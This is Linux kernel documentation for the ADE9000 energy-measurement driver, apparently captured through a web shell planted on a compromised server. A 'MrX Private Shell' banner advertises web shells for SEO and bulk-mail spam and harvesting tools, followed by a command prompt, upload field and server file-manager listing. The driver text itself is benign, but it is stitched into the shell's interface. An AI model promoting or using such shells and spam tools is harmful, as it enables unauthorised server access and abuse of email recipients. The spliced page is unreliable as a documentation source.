__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.138: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>ADE9000 driver &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="ADIS16475 driver" href="adis16475.html" />
    <link rel="prev" title="AD7944 driver" href="ad7944.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../accounting/index.html">Accounting</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cpu-freq/index.html">CPUFreq - CPU frequency and voltage scaling code in the Linux(TM) kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../edac/index.html">EDAC Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../fpga/index.html">FPGA</a></li>
<li class="toctree-l3"><a class="reference internal" href="../i2c/index.html">I2C/SMBus Subsystem</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Industrial I/O</a></li>
<li class="toctree-l3"><a class="reference internal" href="../pcmcia/index.html">PCMCIA</a></li>
<li class="toctree-l3"><a class="reference internal" href="../spi/index.html">Serial Peripheral Interface (SPI)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../w1/index.html">1-Wire Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../watchdog/index.html">Watchdog Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../virt/index.html">Virtualization Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../hwmon/index.html">Hardware Monitoring</a></li>
<li class="toctree-l3"><a class="reference internal" href="../accel/index.html">Compute Accelerators</a></li>
<li class="toctree-l3"><a class="reference internal" href="../security/index.html">Security Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../crypto/index.html">Crypto API</a></li>
<li class="toctree-l3"><a class="reference internal" href="../bpf/index.html">BPF Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../usb/index.html">USB support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../PCI/index.html">PCI Bus Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../misc-devices/index.html">Assorted Miscellaneous Devices Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../peci/index.html">PECI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../wmi/index.html">WMI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../tee/index.html">TEE Subsystem</a></li>
</ul>
</li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/iio/ade9000.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="ade9000-driver">
<h1>ADE9000 driver<a class="headerlink" href="#ade9000-driver" title="Link to this heading">¶</a></h1>
<p>This driver supports Analog Device’s ADE9000 energy measurement IC on SPI bus.</p>
<section id="supported-devices">
<h2>1. Supported devices<a class="headerlink" href="#supported-devices" title="Link to this heading">¶</a></h2>
<ul class="simple">
<li><p><a class="reference external" href="https://www.analog.com/media/en/technical-documentation/data-sheets/ADE9000.pdf">ADE9000</a></p></li>
</ul>
<p>The ADE9000 is a highly accurate, fully integrated, multiphase energy and power
quality monitoring device. Superior analog performance and a digital signal
processing (DSP) core enable accurate energy monitoring over a wide dynamic
range. An integrated high end reference ensures low drift over temperature
with a combined drift of less than ±25 ppm/°C maximum for the entire channel
including a programmable gain amplifier (PGA) and an analog-to-digital
converter (ADC).</p>
</section>
<section id="device-attributes">
<h2>2. Device attributes<a class="headerlink" href="#device-attributes" title="Link to this heading">¶</a></h2>
<p>Power and energy measurements are provided for voltage, current, active power,
reactive power, apparent power, and power factor across three phases.</p>
<p>Each IIO device has a device folder under <code class="docutils literal notranslate"><span class="pre">/sys/bus/iio/devices/iio:deviceX</span></code>,
where X is the IIO index of the device. Under these folders reside a set of
device files, depending on the characteristics and features of the hardware
device in question. These files are consistently generalized and documented in
the IIO ABI documentation.</p>
<p>The following tables show the ADE9000 related device files, found in the
specific device folder path <code class="docutils literal notranslate"><span class="pre">/sys/bus/iio/devices/iio:deviceX</span></code>.</p>
<table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>Current measurement related device files</p></td>
<td><p>Description</p></td>
</tr>
<tr class="row-even"><td><p>in_current[0-2]_raw</p></td>
<td><p>Raw current measurement for phases A, B, C.</p></td>
</tr>
<tr class="row-odd"><td><p>in_current[0-2]_scale</p></td>
<td><p>Scale for current channels.</p></td>
</tr>
<tr class="row-even"><td><p>in_current[0-2]_calibscale</p></td>
<td><p>Calibration gain for current channels (AIGAIN reg).</p></td>
</tr>
<tr class="row-odd"><td><p>in_altcurrent[0-2]_rms_raw</p></td>
<td><p>RMS current measurement for phases A, B, C.</p></td>
</tr>
<tr class="row-even"><td><p>in_altcurrent[0-2]_rms_scale</p></td>
<td><p>Scale for RMS current channels.</p></td>
</tr>
<tr class="row-odd"><td><p>in_altcurrent[0-2]_rms_calibbias</p></td>
<td><p>RMS offset correction for current channels (IRMSOS reg).</p></td>
</tr>
</tbody>
</table>
<table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>Voltage measurement related device files</p></td>
<td><p>Description</p></td>
</tr>
<tr class="row-even"><td><p>in_voltage[0-2]_raw</p></td>
<td><p>Raw voltage measurement for phases A, B, C.</p></td>
</tr>
<tr class="row-odd"><td><p>in_voltage[0-2]_scale</p></td>
<td><p>Scale for voltage channels.</p></td>
</tr>
<tr class="row-even"><td><p>in_voltage[0-2]_calibscale</p></td>
<td><p>Calibration gain for voltage channels (AVGAIN reg).</p></td>
</tr>
<tr class="row-odd"><td><p>in_voltage[0-2]_frequency</p></td>
<td><p>Measured line frequency from instantaneous voltage.</p></td>
</tr>
<tr class="row-even"><td><p>in_altvoltage[0-2]_rms_raw</p></td>
<td><p>RMS voltage measurement for phases A, B, C.</p></td>
</tr>
<tr class="row-odd"><td><p>in_altvoltage[0-2]_rms_scale</p></td>
<td><p>Scale for RMS voltage channels.</p></td>
</tr>
<tr class="row-even"><td><p>in_altvoltage[0-2]_rms_calibbias</p></td>
<td><p>RMS offset correction for voltage channels (VRMSOS reg).</p></td>
</tr>
</tbody>
</table>
<table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>Power measurement related device files</p></td>
<td><p>Description</p></td>
</tr>
<tr class="row-even"><td><p>in_power[0-2]_active_raw</p></td>
<td><p>Active power measurement for phases A, B, C.</p></td>
</tr>
<tr class="row-odd"><td><p>in_power[0-2]_active_scale</p></td>
<td><p>Scale for active power channels.</p></td>
</tr>
<tr class="row-even"><td><p>in_power[0-2]_active_calibbias</p></td>
<td><p>Calibration offset for active power (xWATTOS regs).</p></td>
</tr>
<tr class="row-odd"><td><p>in_power[0-2]_active_calibscale</p></td>
<td><p>Calibration gain for active power (APGAIN reg).</p></td>
</tr>
<tr class="row-even"><td><p>in_power[0-2]_reactive_raw</p></td>
<td><p>Reactive power measurement for phases A, B, C.</p></td>
</tr>
<tr class="row-odd"><td><p>in_power[0-2]_reactive_scale</p></td>
<td><p>Scale for reactive power channels.</p></td>
</tr>
<tr class="row-even"><td><p>in_power[0-2]_reactive_calibbias</p></td>
<td><p>Calibration offset for reactive power (xVAROS regs).</p></td>
</tr>
<tr class="row-odd"><td><p>in_power[0-2]_apparent_raw</p></td>
<td><p>Apparent power measurement for phases A, B, C.</p></td>
</tr>
<tr class="row-even"><td><p>in_power[0-2]_apparent_scale</p></td>
<td><p>Scale for apparent power channels.</p></td>
</tr>
<tr class="row-odd"><td><p>in_power[0-2]_powerfactor</p></td>
<td><p>Power factor for phases A, B, C.</p></td>
</tr>
</tbody>
</table>
<table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>Energy measurement related device files</p></td>
<td><p>Description</p></td>
</tr>
<tr class="row-even"><td><p>in_energy[0-2]_active_raw</p></td>
<td><p>Active energy measurement for phases A, B, C.</p></td>
</tr>
<tr class="row-odd"><td><p>in_energy[0-2]_reactive_raw</p></td>
<td><p>Reactive energy measurement for phases A, B, C.</p></td>
</tr>
<tr class="row-even"><td><p>in_energy[0-2]_apparent_raw</p></td>
<td><p>Apparent energy measurement for phases A, B, C.</p></td>
</tr>
</tbody>
</table>
<table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>Shared device attributes</p></td>
<td><p>Description</p></td>
</tr>
<tr class="row-even"><td><p>name</p></td>
<td><p>Name of the IIO device.</p></td>
</tr>
<tr class="row-odd"><td><p>filter_type</p></td>
<td><p>Waveform buffer filter type (sinc4, sinc4+lp).</p></td>
</tr>
<tr class="row-even"><td><p>filter_type_available</p></td>
<td><p>Available filter types for waveform buffer.</p></td>
</tr>
</tbody>
</table>
</section>
<section id="calibration-and-scaling">
<h2>3. Calibration and scaling<a class="headerlink" href="#calibration-and-scaling" title="Link to this heading">¶</a></h2>
<p>The ADE9000 provides multiple levels of gain and offset correction:</p>
<dl>
<dt><strong>Calibration Gain (per-channel)</strong></dt><dd><p>Fine-tuning calibration gains applied in the digital domain for each channel type.
Controlled via <code class="docutils literal notranslate"><span class="pre">calibscale</span></code> attributes (AIGAIN, AVGAIN, APGAIN registers).</p>
</dd>
<dt><strong>Calibration Bias (per-channel)</strong></dt><dd><p>Hardware calibration offsets applied by the device internally:</p>
<ul class="simple">
<li><p>Power measurements: Controlled via <code class="docutils literal notranslate"><span class="pre">calibbias</span></code> attributes for power channels (xWATTOS, xVAROS registers).</p></li>
<li><p>RMS measurements: Controlled via <code class="docutils literal notranslate"><span class="pre">calibbias</span></code> attributes for RMS channels (IRMSOS, VRMSOS registers).</p></li>
</ul>
<p>These are internal chip calibrations, not userspace-applied offsets.</p>
</dd>
</dl>
</section>
<section id="event-attributes">
<h2>4. Event attributes<a class="headerlink" href="#event-attributes" title="Link to this heading">¶</a></h2>
<p>The ADE9000 provides various interrupts that are mapped to IIO events.
Event functionality is only available if the corresponding interrupts are
connected in the device tree.</p>
<table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>IIO Event Attribute</p></td>
<td><p>ADE9000 Datasheet Equivalent</p></td>
</tr>
<tr class="row-even"><td><p>in_voltage[0-2]_thresh_either_en</p></td>
<td><p>Zero crossing detection interrupt (ZXVx)</p></td>
</tr>
<tr class="row-odd"><td><p>in_altvoltage[0-2]_rms_thresh_rising_en</p></td>
<td><p>RMS swell detection interrupt (SWELLx)</p></td>
</tr>
<tr class="row-even"><td><p>in_altvoltage[0-2]_rms_thresh_rising_value</p></td>
<td><p>RMS swell threshold (SWELL_LVL register)</p></td>
</tr>
<tr class="row-odd"><td><p>in_altvoltage[0-2]_rms_thresh_falling_en</p></td>
<td><p>RMS sag/dip detection interrupt (DIPx)</p></td>
</tr>
<tr class="row-even"><td><p>in_altvoltage[0-2]_rms_thresh_falling_value</p></td>
<td><p>RMS sag/dip threshold (DIP_LVL register)</p></td>
</tr>
<tr class="row-odd"><td><p>in_current[0-2]_thresh_either_en</p></td>
<td><p>Current zero crossing detection interrupt (ZXIx)</p></td>
</tr>
</tbody>
</table>
<p>Event directions:</p>
<ul class="simple">
<li><p><code class="docutils literal notranslate"><span class="pre">rising</span></code>: Upper threshold crossing (swell detection)</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">falling</span></code>: Lower threshold crossing (sag/dip detection)</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">either</span></code>: Any threshold crossing (zero crossing detection)</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">none</span></code>: Timeout or non-directional events</p></li>
</ul>
<p><strong>Note</strong>: Event attributes are only available if the corresponding interrupts
(irq0, irq1, dready) are specified in the device tree. The driver works without
interrupts but with reduced functionality.</p>
</section>
<section id="device-buffers">
<h2>5. Device buffers<a class="headerlink" href="#device-buffers" title="Link to this heading">¶</a></h2>
<p>This driver supports IIO buffers for waveform capture. Buffer functionality
requires the dready interrupt to be connected.</p>
<p>The device supports capturing voltage and current waveforms for power quality
analysis. The waveform buffer can be configured to capture data from different
channel combinations.</p>
<p>Supported channel combinations for buffered capture:</p>
<ul class="simple">
<li><p>Phase A: voltage and current (IA + VA)</p></li>
<li><p>Phase B: voltage and current (IB + VB)</p></li>
<li><p>Phase C: voltage and current (IC + VC)</p></li>
<li><p>All phases: all voltage and current channels</p></li>
<li><p>Individual channels: IA, VA, IB, VB, IC, VC</p></li>
</ul>
<section id="usage-examples">
<h3>Usage examples<a class="headerlink" href="#usage-examples" title="Link to this heading">¶</a></h3>
<p>Enable waveform capture for Phase A:</p>
<div class="highlight-bash notranslate"><div class="highlight"><pre><span></span>root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>&gt;<span class="w"> </span>scan_elements/in_current0_en
root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>&gt;<span class="w"> </span>scan_elements/in_voltage0_en
</pre></div>
</div>
<p>Set buffer length and enable:</p>
<div class="highlight-bash notranslate"><div class="highlight"><pre><span></span>root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="m">100</span><span class="w"> </span>&gt;<span class="w"> </span>buffer/length
root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>&gt;<span class="w"> </span>buffer/enable
</pre></div>
</div>
</section>
</section>
<section id="clock-output">
<h2>6. Clock output<a class="headerlink" href="#clock-output" title="Link to this heading">¶</a></h2>
<p>The ADE9000 can provide a clock output via the CLKOUT pin when using an external
crystal/clock source. This feature is enabled by specifying <code class="docutils literal notranslate"><span class="pre">#clock-cells</span> <span class="pre">=</span> <span class="pre">&lt;0&gt;</span></code>
in the device tree. The output clock will be registered as “clkout” and can be
referenced by other devices.</p>
</section>
<section id="id1">
<h2>7. Usage examples<a class="headerlink" href="#id1" title="Link to this heading">¶</a></h2>
<p>Show device name:</p>
<div class="highlight-bash notranslate"><div class="highlight"><pre><span></span>root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span>cat<span class="w"> </span>name
ade9000
</pre></div>
</div>
<p>Read voltage measurements:</p>
<div class="highlight-bash notranslate"><div class="highlight"><pre><span></span>root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span>cat<span class="w"> </span>in_voltage0_raw
<span class="m">12345</span>
root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span>cat<span class="w"> </span>in_voltage0_scale
<span class="m">0</span>.000030517
</pre></div>
</div>
<ul class="simple">
<li><p>Phase A voltage = in_voltage0_raw * in_voltage0_scale = 0.3769 V</p></li>
</ul>
<p>Read power measurements:</p>
<div class="highlight-bash notranslate"><div class="highlight"><pre><span></span>root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span>cat<span class="w"> </span>in_power0_active_raw
<span class="m">5678</span>
root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span>cat<span class="w"> </span>in_power0_scale
<span class="m">0</span>.000244140
</pre></div>
</div>
<ul class="simple">
<li><p>Phase A active power = in_power0_active_raw * in_power0_scale = 1.386 W</p></li>
</ul>
<p>Configure calibration gains:</p>
<div class="highlight-bash notranslate"><div class="highlight"><pre><span></span><span class="c1"># Set current channel 0 calibration gain</span>
root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span><span class="nb">echo</span><span class="w"> </span>0x800000<span class="w"> </span>&gt;<span class="w"> </span>in_current0_calibscale
<span class="c1"># Set voltage channel 0 calibration gain</span>
root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span><span class="nb">echo</span><span class="w"> </span>0x7FFFFF<span class="w"> </span>&gt;<span class="w"> </span>in_voltage0_calibscale
</pre></div>
</div>
<p>Configure RMS voltage event thresholds (requires interrupts):</p>
<div class="highlight-bash notranslate"><div class="highlight"><pre><span></span><span class="c1"># Set RMS sag detection threshold</span>
root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="m">180000</span><span class="w"> </span>&gt;<span class="w"> </span>events/in_altvoltage0_rms_thresh_falling_value
<span class="c1"># Enable RMS sag detection</span>
root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>&gt;<span class="w"> </span>events/in_altvoltage0_rms_thresh_falling_en

<span class="c1"># Set RMS swell detection threshold</span>
root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="m">260000</span><span class="w"> </span>&gt;<span class="w"> </span>events/in_altvoltage0_rms_thresh_rising_value
<span class="c1"># Enable RMS swell detection</span>
root:/sys/bus/iio/devices/iio:device0&gt;<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>&gt;<span class="w"> </span>events/in_altvoltage0_rms_thresh_rising_en
</pre></div>
</div>
</section>
<section id="iio-interfacing-tools">
<h2>8. IIO Interfacing Tools<a class="headerlink" href="#iio-interfacing-tools" title="Link to this heading">¶</a></h2>
<p>See <code class="docutils literal notranslate"><span class="pre">Documentation/iio/iio_tools.rst</span></code> for the description of the available IIO
interfacing tools.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/iio/ade9000.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
ad3552r.html File 13.85 KB 0644
ad4000.html File 23.25 KB 0644
ad4030.html File 19 KB 0644
ad4695.html File 26.36 KB 0644
ad7191.html File 14.72 KB 0644
ad7380.html File 21.36 KB 0644
ad7606.html File 19.63 KB 0644
ad7625.html File 14.14 KB 0644
ad7944.html File 20.19 KB 0644
ade9000.html File 25.44 KB 0644
adis16475.html File 39.31 KB 0644
adis16480.html File 34.45 KB 0644
adis16550.html File 37.03 KB 0644
adxl313.html File 41.13 KB 0644
adxl345.html File 50.8 KB 0644
adxl380.html File 30.52 KB 0644
bno055.html File 11.92 KB 0644
ep93xx_adc.html File 11.44 KB 0644
iio_adc.html File 25.65 KB 0644
iio_configfs.html File 13.93 KB 0644
iio_devbuf.html File 17.28 KB 0644
iio_dmabuf_api.html File 12.51 KB 0644
iio_tools.html File 10.81 KB 0644
index.html File 12.48 KB 0644
opt4060.html File 11.87 KB 0644
Filemanager